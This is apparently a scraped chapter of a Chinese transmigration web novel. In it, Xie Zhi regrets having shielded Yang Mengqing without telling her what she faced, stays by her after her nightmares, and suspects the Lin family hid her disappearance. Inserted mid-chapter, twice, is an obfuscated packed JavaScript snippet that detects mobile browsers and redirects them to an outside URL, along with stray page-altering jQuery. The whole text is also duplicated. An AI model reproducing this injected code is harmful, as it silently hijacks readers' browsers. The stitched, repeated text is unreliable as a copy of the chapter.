明日复歌 作品
42. 那个好心老板17
谢之给杨孟清涂完药膏之后，又在主卧呆了会，见杨孟清一直睡眠平稳才离开。
曲明月还在被窝里装鹌鹑，刚才谢之把他按回到床上，他就不敢在动。
他觉得自己刚才真是做了个大死。
之前曲明月就听说谢之因为受重伤修养了好久，再回来后转到了拯救部，但他根本没把这事和最近沸沸扬扬的另一个八卦联系到一起。
呜呜呜，都怪他这张嘴，平时跟自己的系统嘴碎也就算了，怎么跑大佬这撞枪口来了。
在曲明月懊悔不已时，谢之回来了。
躺在床上的鹌鹑瞬间僵死。
谢之看眼曲明月，“你去楼下睡。”
“好嘞！谢哥！”曲明月一个鲤鱼打挺，忙不迭的跑了。
曲明月不怕谢之让他走，就怕谢之不让他走。
谢之倒没有和曲明月算账的意思，他并不在意曲明月把他当八卦乐子，任务是他自己同意接，别人知道了想笑那是别人的自由，他无所谓。
只是曲明月太聒噪了，顺便赶走更好。
等曲明月离开后，谢之独自坐在床头，怔怔的望向一室黑暗。
系统8129小心翼翼的开口。
【宿主，我查到了一些关于‘梦魇’的资料，你要看看吗？】
谢之空茫的视线凝聚在不远处飘着的莹白光团上，缓缓吐出一口浊气。
“我做错了。”谢之声音很低的说道。
系统8129感受到宿主声音中少见的失落，小小的炸毛了下，它紧张的安抚道。
【宿主，你已经尽力去阻止了，几乎没有任务者能做到你这种程度，没拦住意外的发生不是你的错。】
谢之缓缓摇头，视线虽是在看系统8129，但他更多的是沉浸在自己的思绪中。
“我错在不应该替杨孟清做选择，一开始我就默认自己能为杨孟清拦住所有危险，丝毫没有向她透露她将要面对的是什么。”
谢之苦笑着抬起手，五指穿过头发，掌心在额头重重的按压。
阴影下的脸是少有的悔意。
其实悔意早在谢之得知杨孟清遭遇意外时就已经滋生，只是那时候情况紧急，他来不及去思考太多，只能以长久以来惯有的冷静去应对所发生的变故。
当谢之救下杨孟清时，感受着怀里并没有太大变化的女孩，他充满了劫后余生的庆幸。
可不过短短的几个小时后，眼看见杨孟清陷入了无法沟通的梦魇，谢之便不得不承认一个事实。
他做错了，也许是一开始就错了。
谢之调来拯救部之后，一直在积极地适应任务目标的变化，人类很脆弱，不能像以前对待任务者那样看心情乱搞，他一不留神任务目标就可能死掉。
上个任务的最后几十年，谢之几乎全天二十四小时的和任务目标在一起。
那种看着一个人类被自己养的很好的满足感，几乎与谢之从每次任务拿到完美评分时的感觉相媲美。
谢之是打算按照上个任务的计划，继续好好养着杨孟清的。
哪怕两个任务目标的情况不一样，但谢之觉得并没有关系，他可以帮任务目标挡住所有的危险，任务目标只需要做自己就够了。
可当错误铸成，谢之回头看去，才发现自己错得离谱。
不仅仅是那种可以为任务目标阻拦一切危险的自信，而是谢之恍然的意识到，他错在根本没有给杨孟清选择的机会。
时间线虽然重置了，却并不代表一切伤害都会彻底消除。
被预知梦纠缠的孟淑芹，哪怕被及时救下却陷入梦魇的杨孟清。
那些伤害刻在灵魂的深处，谢之只是像对待温室里的花朵一般去保护杨孟清，永远无法让根茎里潜藏的伤口愈合，而稍有风吹雨打，那些伤就会爆发出来。
谢之从未提醒过杨孟清，世界不如杨孟清以为的那般美好，前路可能有黑暗，杨孟清有权决定自己该如何走。
谢之却擅自帮杨孟清捂住了眼睛，当杨孟清眼中的美好世界破碎，杨孟清毫无心理准备。
“工作流程还需要优化，不是帮任务目标避开，而是要帮助面对。”
谢之轻声呢喃着，感觉自己终于摸索到了在拯救部完成任务的方法。
但这次摸索的代价却落在任务目标的身上，这比让谢之自己承担后果还难受。
系统8129沉默的飘在一旁，伸出光粒触手拍了拍难得失落的宿主。
它听出来宿主刚才不是想和它沟通，而是边说话变整理思路。
身为一个优秀的系统，能给予宿主的只有陪伴与安慰。
不过……系统8129偷偷的咔嚓咔嚓几下，无声地派下照片，记录了宿主低头满是懊恼的模样。
系统8129习惯了宿主做什么都一副游刃有余的样子，这样的难得的低落时刻要好好记录下来。
看在宿主这么难过的份上，它就偷偷地笑宿主好了，绝不会光明正大的笑出来。
————
次日杨孟清醒过来时，天光大亮，清晨的明媚阳光毫无阻拦的洒向杨孟清的后脖子。
杨孟清被晒得很舒服，迷迷糊糊的睁开眼，就看见谢之整个手臂都搭在床上，手正被她攥着。
谢之就直接坐在地板上，依靠床头柜，歪着头浅眠着。
杨孟清不禁愣住，松开谢之的手，坐起了身。
谢之也随之清醒过来。
他眼底布满血丝，神情中满是疲惫，揉了揉额头道。
“你醒了。”
杨孟清迟疑地问：“谢老板，你怎么在这，我妈呢？”
“阿姨起得早，下楼去做饭了。”谢之站起身，打了个哈欠，“你昨晚做噩梦了，我过来后被你拉住手，就没走。”
后半夜杨孟清又折腾了两次，谢之和杨母加上睡在楼下的曲明月都护着杨孟清，等杨孟清走到大街上后再把人带回来。
不过第二次之后谢之把杨孟清放到床上，却被杨孟清抓住了手。
谢之一要掰开手杨孟清就蹙眉，他干脆就坐在床边陪着。
不过也不知道是不是因为有他在的原因，后来杨孟清倒是没再陷入梦魇。
只是谢之彻底没办法睡好了，他睡觉本就警惕，再加上担心杨孟清，杨孟清有一点动静他都会惊醒，就这样时睡时醒的熬到了天亮。
谢之走之后，杨孟清也起了，她刚换好衣服后下楼。
收银台旁边放着一个熟悉的行李箱，杨孟清见到的时候微微一愣。
“曲叔，我的行李箱是谁送来的？”杨孟清问坐在收银台后的曲明月。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688645|171098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曲明月挠挠头：“我不认识啊，一个比我还大的大哥，进来就直接放下了。”
杨孟清抿了抿唇，没说什么。
这时谢之从一楼的卫生间出来，他身上带着水汽，头发湿漉漉，边单手用毛巾擦头发边往收银台走。
“怎么了？”谢之疑惑地问。
杨孟清没答，只凑近谢之嗅了嗅。
“好凉，谢老板冲的凉水澡啊。”
谢之笑了笑，“夏天热。”
杨孟清看眼天色咕哝道，“大早晨的外面还带着凉飕飕的露水呢，那里热了。”
谢之无奈的看了杨孟清一眼，要不是一晚上没睡好，他何至于需要冲凉水澡清醒。
杨孟清丝毫不觉得自己是罪魁祸首，突然完谢之就去厨房找杨母。
谢家的厨房是一个独立的房间，在后门通向的院子里。
杨孟清离开后，谢之问起曲明月之前怎么回事。
曲明月也不明所以，把有个人送来行李箱，然后杨孟清来问的事说了。
谢之点点头，大概明白怎么回事了。
曲明月探头探脑地看向谢之，才过了一个晚上，他面对谢之就有点好了伤疤忘了疼了。
终究没憋住，曲明月忍不住问道。
“谢哥，你知道咋回事啊？”
“林家……”谢之说着顿了顿，“我怀疑原本的时间线里，杨孟清是来容音市找舍友林雪灵后被绑架的。”
曲明月很快反应过来，他可是清楚的知道，上辈子杨母找了杨孟清二十五年。
“谢哥，你的意思是说，林家人在杨孟清被拐走后，没报警？”
谢之点点头，他接触过林雪玲，不觉得那小姑娘能做出这种事，但林家的父母就不一定了。
可能是害怕被牵连，林家人上辈子隐瞒了杨孟清来林家做客的事，耽误了杨孟清被找到的重要时间，而这辈子得知杨孟清出事后，也是直接把杨孟清的行李箱送过来，想要划清界限。
林家人是无所谓的人，谢之在意的是，杨孟清怎么想的？
谢之想起杨孟清刚才的避而不答，心里叹了口气。
哪怕被救了回来，但杨孟清终究是有些不一样了。
————
下午时分，容音市看守所相比其他时间更热闹一些。
被关押在这里等待审判亦或是一些短期拘留的囚犯们会在这个时间被统一放到操场上。
微风穿过高墙上的电网，刮起一阵黄土。
一群懒洋洋聚在一起的男男女女囚犯们，透过黄沙望向操场角落一个新进来不久的瞎老头囚犯。
“河爷，那就是您要找的老瞎子。”
一个年轻男囚犯弓着身一脸谄媚地说着。
被他称为‘河爷’的是一名三十左右的女人，身形健硕修长，朴素的囚服难掩肌肉的线条。
河爷大马金刀地坐在健身器材上，其余小弟小妹们或站或蹲，都呈现以她为首的服从姿态。
河爷盯着那个在角落里老老实实待着的老瞎子，忽地朝地上啐了口。
“宋六那鳖孙，一个老瞎子也值得求老娘出手。”
河爷转眼去看刚才说话的谄媚青年。
“既然是你屋住着的，知不知道那老瞎子是犯什么事进来？”
曲明月还在被窝里装鹌鹑，刚才谢之把他按回到床上，他就不敢在动。
他觉得自己刚才真是做了个大死。
之前曲明月就听说谢之因为受重伤修养了好久，再回来后转到了拯救部，但他根本没把这事和最近沸沸扬扬的另一个八卦联系到一起。
呜呜呜，都怪他这张嘴，平时跟自己的系统嘴碎也就算了，怎么跑大佬这撞枪口来了。
在曲明月懊悔不已时，谢之回来了。
躺在床上的鹌鹑瞬间僵死。
谢之看眼曲明月，“你去楼下睡。”
“好嘞！谢哥！”曲明月一个鲤鱼打挺，忙不迭的跑了。
曲明月不怕谢之让他走，就怕谢之不让他走。
谢之倒没有和曲明月算账的意思，他并不在意曲明月把他当八卦乐子，任务是他自己同意接，别人知道了想笑那是别人的自由，他无所谓。
只是曲明月太聒噪了，顺便赶走更好。
等曲明月离开后，谢之独自坐在床头，怔怔的望向一室黑暗。
系统8129小心翼翼的开口。
【宿主，我查到了一些关于‘梦魇’的资料，你要看看吗？】
谢之空茫的视线凝聚在不远处飘着的莹白光团上，缓缓吐出一口浊气。
“我做错了。”谢之声音很低的说道。
系统8129感受到宿主声音中少见的失落，小小的炸毛了下，它紧张的安抚道。
【宿主，你已经尽力去阻止了，几乎没有任务者能做到你这种程度，没拦住意外的发生不是你的错。】
谢之缓缓摇头，视线虽是在看系统8129，但他更多的是沉浸在自己的思绪中。
“我错在不应该替杨孟清做选择，一开始我就默认自己能为杨孟清拦住所有危险，丝毫没有向她透露她将要面对的是什么。”
谢之苦笑着抬起手，五指穿过头发，掌心在额头重重的按压。
阴影下的脸是少有的悔意。
其实悔意早在谢之得知杨孟清遭遇意外时就已经滋生，只是那时候情况紧急，他来不及去思考太多，只能以长久以来惯有的冷静去应对所发生的变故。
当谢之救下杨孟清时，感受着怀里并没有太大变化的女孩，他充满了劫后余生的庆幸。
可不过短短的几个小时后，眼看见杨孟清陷入了无法沟通的梦魇，谢之便不得不承认一个事实。
他做错了，也许是一开始就错了。
谢之调来拯救部之后，一直在积极地适应任务目标的变化，人类很脆弱，不能像以前对待任务者那样看心情乱搞，他一不留神任务目标就可能死掉。
上个任务的最后几十年，谢之几乎全天二十四小时的和任务目标在一起。
那种看着一个人类被自己养的很好的满足感，几乎与谢之从每次任务拿到完美评分时的感觉相媲美。
谢之是打算按照上个任务的计划，继续好好养着杨孟清的。
哪怕两个任务目标的情况不一样，但谢之觉得并没有关系，他可以帮任务目标挡住所有的危险，任务目标只需要做自己就够了。
可当错误铸成，谢之回头看去，才发现自己错得离谱。
不仅仅是那种可以为任务目标阻拦一切危险的自信，而是谢之恍然的意识到，他错在根本没有给杨孟清选择的机会。
时间线虽然重置了，却并不代表一切伤害都会彻底消除。
被预知梦纠缠的孟淑芹，哪怕被及时救下却陷入梦魇的杨孟清。
那些伤害刻在灵魂的深处，谢之只是像对待温室里的花朵一般去保护杨孟清，永远无法让根茎里潜藏的伤口愈合，而稍有风吹雨打，那些伤就会爆发出来。
谢之从未提醒过杨孟清，世界不如杨孟清以为的那般美好，前路可能有黑暗，杨孟清有权决定自己该如何走。
谢之却擅自帮杨孟清捂住了眼睛，当杨孟清眼中的美好世界破碎，杨孟清毫无心理准备。
“工作流程还需要优化，不是帮任务目标避开，而是要帮助面对。”
谢之轻声呢喃着，感觉自己终于摸索到了在拯救部完成任务的方法。
但这次摸索的代价却落在任务目标的身上，这比让谢之自己承担后果还难受。
系统8129沉默的飘在一旁，伸出光粒触手拍了拍难得失落的宿主。
它听出来宿主刚才不是想和它沟通，而是边说话变整理思路。
身为一个优秀的系统，能给予宿主的只有陪伴与安慰。
不过……系统8129偷偷的咔嚓咔嚓几下，无声地派下照片，记录了宿主低头满是懊恼的模样。
系统8129习惯了宿主做什么都一副游刃有余的样子，这样的难得的低落时刻要好好记录下来。
看在宿主这么难过的份上，它就偷偷地笑宿主好了，绝不会光明正大的笑出来。
————
次日杨孟清醒过来时，天光大亮，清晨的明媚阳光毫无阻拦的洒向杨孟清的后脖子。
杨孟清被晒得很舒服，迷迷糊糊的睁开眼，就看见谢之整个手臂都搭在床上，手正被她攥着。
谢之就直接坐在地板上，依靠床头柜，歪着头浅眠着。
杨孟清不禁愣住，松开谢之的手，坐起了身。
谢之也随之清醒过来。
他眼底布满血丝，神情中满是疲惫，揉了揉额头道。
“你醒了。”
杨孟清迟疑地问：“谢老板，你怎么在这，我妈呢？”
“阿姨起得早，下楼去做饭了。”谢之站起身，打了个哈欠，“你昨晚做噩梦了，我过来后被你拉住手，就没走。”
后半夜杨孟清又折腾了两次，谢之和杨母加上睡在楼下的曲明月都护着杨孟清，等杨孟清走到大街上后再把人带回来。
不过第二次之后谢之把杨孟清放到床上，却被杨孟清抓住了手。
谢之一要掰开手杨孟清就蹙眉，他干脆就坐在床边陪着。
不过也不知道是不是因为有他在的原因，后来杨孟清倒是没再陷入梦魇。
只是谢之彻底没办法睡好了，他睡觉本就警惕，再加上担心杨孟清，杨孟清有一点动静他都会惊醒，就这样时睡时醒的熬到了天亮。
谢之走之后，杨孟清也起了，她刚换好衣服后下楼。
收银台旁边放着一个熟悉的行李箱，杨孟清见到的时候微微一愣。
“曲叔，我的行李箱是谁送来的？”杨孟清问坐在收银台后的曲明月。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688645|171098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曲明月挠挠头：“我不认识啊，一个比我还大的大哥，进来就直接放下了。”
杨孟清抿了抿唇，没说什么。
这时谢之从一楼的卫生间出来，他身上带着水汽，头发湿漉漉，边单手用毛巾擦头发边往收银台走。
“怎么了？”谢之疑惑地问。
杨孟清没答，只凑近谢之嗅了嗅。
“好凉，谢老板冲的凉水澡啊。”
谢之笑了笑，“夏天热。”
杨孟清看眼天色咕哝道，“大早晨的外面还带着凉飕飕的露水呢，那里热了。”
谢之无奈的看了杨孟清一眼，要不是一晚上没睡好，他何至于需要冲凉水澡清醒。
杨孟清丝毫不觉得自己是罪魁祸首，突然完谢之就去厨房找杨母。
谢家的厨房是一个独立的房间，在后门通向的院子里。
杨孟清离开后，谢之问起曲明月之前怎么回事。
曲明月也不明所以，把有个人送来行李箱，然后杨孟清来问的事说了。
谢之点点头，大概明白怎么回事了。
曲明月探头探脑地看向谢之，才过了一个晚上，他面对谢之就有点好了伤疤忘了疼了。
终究没憋住，曲明月忍不住问道。
“谢哥，你知道咋回事啊？”
“林家……”谢之说着顿了顿，“我怀疑原本的时间线里，杨孟清是来容音市找舍友林雪灵后被绑架的。”
曲明月很快反应过来，他可是清楚的知道，上辈子杨母找了杨孟清二十五年。
“谢哥，你的意思是说，林家人在杨孟清被拐走后，没报警？”
谢之点点头，他接触过林雪玲，不觉得那小姑娘能做出这种事，但林家的父母就不一定了。
可能是害怕被牵连，林家人上辈子隐瞒了杨孟清来林家做客的事，耽误了杨孟清被找到的重要时间，而这辈子得知杨孟清出事后，也是直接把杨孟清的行李箱送过来，想要划清界限。
林家人是无所谓的人，谢之在意的是，杨孟清怎么想的？
谢之想起杨孟清刚才的避而不答，心里叹了口气。
哪怕被救了回来，但杨孟清终究是有些不一样了。
————
下午时分，容音市看守所相比其他时间更热闹一些。
被关押在这里等待审判亦或是一些短期拘留的囚犯们会在这个时间被统一放到操场上。
微风穿过高墙上的电网，刮起一阵黄土。
一群懒洋洋聚在一起的男男女女囚犯们，透过黄沙望向操场角落一个新进来不久的瞎老头囚犯。
“河爷，那就是您要找的老瞎子。”
一个年轻男囚犯弓着身一脸谄媚地说着。
被他称为‘河爷’的是一名三十左右的女人，身形健硕修长，朴素的囚服难掩肌肉的线条。
河爷大马金刀地坐在健身器材上，其余小弟小妹们或站或蹲，都呈现以她为首的服从姿态。
河爷盯着那个在角落里老老实实待着的老瞎子，忽地朝地上啐了口。
“宋六那鳖孙，一个老瞎子也值得求老娘出手。”
河爷转眼去看刚才说话的谄媚青年。
“既然是你屋住着的，知不知道那老瞎子是犯什么事进来？”